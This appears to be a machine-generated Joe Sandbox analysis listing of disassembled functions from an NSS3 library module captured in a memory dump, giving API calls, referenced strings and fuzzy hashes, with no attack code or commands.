Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 319d3d135aa25a1ae3efdd18bf756e692d891da985d71a1a6b62cffcb721a72c
Instruction ID: 96a7540777bb890a6cae163d4b9bee1d68018e5c3b88f36eb3ea34a15ee997f3
Opcode Fuzzy Hash: 319d3d135aa25a1ae3efdd18bf756e692d891da985d71a1a6b62cffcb721a72c
Instruction Fuzzy Hash: 3C711576900205EBDB10EF25DC45CAABB74AF0935AB0A8524EC189BB11EF31E955C7E0

Function 6C555CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C552BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C552BF0
Part of subcall function 6C552BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C552C07
Part of subcall function 6C552BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C552C1E
Part of subcall function 6C552BE0: free.MOZGLUE(?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C552C4A

free.MOZGLUE(?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555D0F
free.MOZGLUE(?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555D4E
free.MOZGLUE(?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555D62
free.MOZGLUE(?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555D85
free.MOZGLUE(?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555D99
free.MOZGLUE(?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C555E3E
free.MOZGLUE(?,?,?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C555E47
free.MOZGLUE(?,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C55AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C555E78
free.MOZGLUE(?,?,?,?,?,?,?,6C55AAD4), ref: 6C555EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C55AAD4), ref: 6C555EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C555F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C555F4B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e042ddb7d02af673c735dc877f93d21f782473af5d933bd61924b9c936e82529
Instruction ID: 2a6beedc6811ab13d03e40be3d4551e2bfc4a4df4440b88d676ed94fadac13f4
Opcode Fuzzy Hash: e042ddb7d02af673c735dc877f93d21f782473af5d933bd61924b9c936e82529
Instruction Fuzzy Hash: 03719CB5A00B009FD701DF24DC85A96B3F5BF89308F54852AE81E87B11EB32F965CB91

Function 6C4D8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C4D8E22
EnterCriticalSection.KERNEL32(?), ref: 6C4D8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C4D8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C4D8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C4D8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C4D8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8F00
free.MOZGLUE(?), ref: 6C4D8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C4D8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8F5B
PR_Unlock.NSS3(?), ref: 6C4D8F72
PR_Unlock.NSS3(?), ref: 6C4D8F82

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: efd3168982b4a04e65fc58f8ad3161e642db81e88a47aff1381526335395aac2
Instruction ID: c45c1e7eec2c8f7f8f088b4aed774a23c54188a9af864b39d39575787d96c619
Opcode Fuzzy Hash: efd3168982b4a04e65fc58f8ad3161e642db81e88a47aff1381526335395aac2
Instruction Fuzzy Hash: 9851F4B2E00206AFD700EF68CC95D6EB7B9EF85359B16452AE8089B700E731FD458BD1

Function 6C5D0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C5D1000

Part of subcall function 6C589BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C4B1A48), ref: 6C589BB3
Part of subcall function 6C589BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4B1A48), ref: 6C589BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C5D1016

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_Unlock.NSS3(?), ref: 6C5D1021

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5D1046
PR_Unlock.NSS3(?), ref: 6C5D106B
PR_Lock.NSS3 ref: 6C5D1079
PR_Unlock.NSS3 ref: 6C5D1096
free.MOZGLUE(?), ref: 6C5D10A7
free.MOZGLUE(?), ref: 6C5D10B4
PR_DestroyCondVar.NSS3(?), ref: 6C5D10BF
PR_DestroyCondVar.NSS3(?), ref: 6C5D10CA
PR_DestroyCondVar.NSS3(?), ref: 6C5D10D5
PR_DestroyCondVar.NSS3(?), ref: 6C5D10E0
PR_DestroyLock.NSS3(?), ref: 6C5D10EB
free.MOZGLUE(?), ref: 6C5D1105

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 3a3141e1d6b2eea8ac4660ee8aa25333e8bb7261a977c4bd9bb0884b17b73449
Instruction ID: 62fda824d64d16486cbd66e52fdc5f400404e2463f6e5dfbab1a72843fcdfbde
Opcode Fuzzy Hash: 3a3141e1d6b2eea8ac4660ee8aa25333e8bb7261a977c4bd9bb0884b17b73449
Instruction Fuzzy Hash: D031ACB5900501ABD701AF19EC81E46BB75BF41329F184135E80A12F61E732FC78DBD6

Function 6C44DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C44DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C44DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C44DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C44DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C44DECD

Strings

database corruption, xrefs: 6C44DF77, 6C44DFE7
%s at line %d of [%.10s], xrefs: 6C44DF7C, 6C44DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C44DF6D, 6C44DFCC, 6C44DFDD

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: f91739b52b3810b814a63b2956164a750a55ae7e94af0fcafdc643dffa65906a
Instruction ID: 5b01da434cbfc506fca5f4877fa528878d3e38020c653d3a7fd3ee07b9f6619f
Opcode Fuzzy Hash: f91739b52b3810b814a63b2956164a750a55ae7e94af0fcafdc643dffa65906a
Instruction Fuzzy Hash: E8A1E4716047019FE714CF29C880E6ABBF5EF85308F25C96DE8898BB41E770E846CB91

Function 6C50EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C50EE0B

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C50EEE1

Part of subcall function 6C501D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C501D7E
Part of subcall function 6C501D50: EnterCriticalSection.KERNEL32(?), ref: 6C501D8E
Part of subcall function 6C501D50: PR_Unlock.NSS3(?), ref: 6C501DD3

TlsGetValue.KERNEL32 ref: 6C50EE51
EnterCriticalSection.KERNEL32(?), ref: 6C50EE65
PR_Unlock.NSS3(?), ref: 6C50EEA2
free.MOZGLUE(?), ref: 6C50EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C50EED0
PR_Unlock.NSS3(?), ref: 6C50EF48
free.MOZGLUE(?), ref: 6C50EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C50EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C50EFA4
free.MOZGLUE(?), ref: 6C50EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C50F055
free.MOZGLUE(?), ref: 6C50F060

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: b0674173a664148763e82d2110320a9bcce8ef5275a77a32de32536ed877a5f9
Instruction ID: a7aa416ee01aa83445cc8bb31e862a6588691d5f79aa20e675fb74caa224b6f2
Opcode Fuzzy Hash: b0674173a664148763e82d2110320a9bcce8ef5275a77a32de32536ed877a5f9
Instruction Fuzzy Hash: 3D8160B1A00209ABDF01DFA9DC85ADE7BB5BF48318F144024E949E7B11E771ED64CBA1

Function 6C4D4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C4D4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C4D4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C4D4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C4D4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C4D4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C4D4E85
DER_Encode_Util.NSS3(?,?,6C6205A4,00000000), ref: 6C4D4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C4D4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C4D4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4D4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C4D4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4D4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4D4FC8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: c68a951269f2023aa98b7757fc62280a96dce3c9457a486c8b80e1ea40b179d3
Instruction ID: 2646a9f1f4be0a84ab4da79ed04e2a6f3ac9f6d74171bd0be4646d38e85613f8
Opcode Fuzzy Hash: c68a951269f2023aa98b7757fc62280a96dce3c9457a486c8b80e1ea40b179d3
Instruction Fuzzy Hash: 4F81AF71A08301AFE701DF24DC94F5AB7E4AB88389F16952DF958CBB50E730E905CB92

Function 6C515C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C515C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C515CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C515CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C515D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C515D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C515D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C515E18
TlsGetValue.KERNEL32 ref: 6C515E5E
EnterCriticalSection.KERNEL32(?), ref: 6C515E72
PR_Unlock.NSS3(?), ref: 6C515E8B

Part of subcall function 6C50F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C50F854
Part of subcall function 6C50F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C50F868
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C50F882
Part of subcall function 6C50F820: free.MOZGLUE(04C483FF,?,?), ref: 6C50F889
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C50F8A4
Part of subcall function 6C50F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C50F8AB
Part of subcall function 6C50F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C50F8C9
Part of subcall function 6C50F820: free.MOZGLUE(280F10EC,?,?), ref: 6C50F8D0

Strings

d, xrefs: 6C515C36
tokens=[0x%x=<%s>], xrefs: 6C515D3D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: c12dbbff552c7715b1ae1aff7e328ec1542f2a6f124eb76dabeb2fc156dc2298
Instruction ID: 4a7d031983fff54ce255bd4e56749777c164a6729bf9709843fee26b3040636b
Opcode Fuzzy Hash: c12dbbff552c7715b1ae1aff7e328ec1542f2a6f124eb76dabeb2fc156dc2298
Instruction Fuzzy Hash: 2671E1B4E08101ABFB009F25DC89B6E3775AF9131CF940535E8099AF42EB32E915CB92

Function 6C508F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C509582), ref: 6C508F5B

Part of subcall function 6C51BE30: SECOID_FindOID_Util.NSS3(6C4D311B,00000000,?,6C4D311B,?), ref: 6C51BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C508F6A

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C508FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C508FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C5ED820,6C509576), ref: 6C508FF9
DER_GetInteger_Util.NSS3(?), ref: 6C50901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C50903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C509062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C5090A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C5090CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C5090F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C50912D
free.MOZGLUE(00000000), ref: 6C509136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C509145

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 31d36f4f2036354171cafd67ac285f62eac54130694a28d14cd2c2179e3e1e3c
Instruction ID: ed4e2c6acc618924547c9d468c057901deb4a8f6187966e36c59e27f3a53c389
Opcode Fuzzy Hash: 31d36f4f2036354171cafd67ac285f62eac54130694a28d14cd2c2179e3e1e3c
Instruction Fuzzy Hash: D751CFB2B043409BEB00CF289C81A9BB7E8AF94318F054929EC59C7741E775E949CBD2

Function 6C5D4960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C5D8061,?,?,?,?), ref: 6C5D497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C5D499E
GetLastError.KERNEL32(?,?,6C5D8061,?,?,?,?), ref: 6C5D49AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C5D8061,?,?,?,?), ref: 6C5D49C2

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C5D8061,?,?,?,?), ref: 6C5D49D6
CreateSemaphoreA.KERNEL32(00000000,6C5D8061,7FFFFFFF,?), ref: 6C5D4A19
GetLastError.KERNEL32(?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4A52
GetLastError.KERNEL32(?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4A6A
CreateSemaphoreA.KERNEL32(?,6C5D8061,7FFFFFFF,?), ref: 6C5D4A9A
free.MOZGLUE(?,?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4AAE
free.MOZGLUE(?,?,?,?,?,6C5D8061,?,?,?,?), ref: 6C5D4AC2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 3361e65a4c29557fef1d20a945a2606af65f9f50ca9c5fb37375a270ad663fe3
Instruction ID: 1e1b4b3886736d2e7687f750d8a7dbd82d5505228fdaad84c5c5a98bef00b74b
Opcode Fuzzy Hash: 3361e65a4c29557fef1d20a945a2606af65f9f50ca9c5fb37375a270ad663fe3
Instruction Fuzzy Hash: AB41C374B00305ABDF00AFAE8C89B5E77B9EB4935AF110135E90AE6B40DB31A914876D

Function 6C5DC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C5DC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DC8DA
malloc.MOZGLUE(00000001), ref: 6C5DC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5DC8F8
PR_NewLock.NSS3 ref: 6C5DC909
PR_NewCondVar.NSS3(00000000), ref: 6C5DC918
PR_NewCondVar.NSS3(00000000), ref: 6C5DC92A

Part of subcall function 6C4B0F00: PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B
Part of subcall function 6C4B0F00: PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

free.MOZGLUE(00000000), ref: 6C5DC947

Memory Dump Source

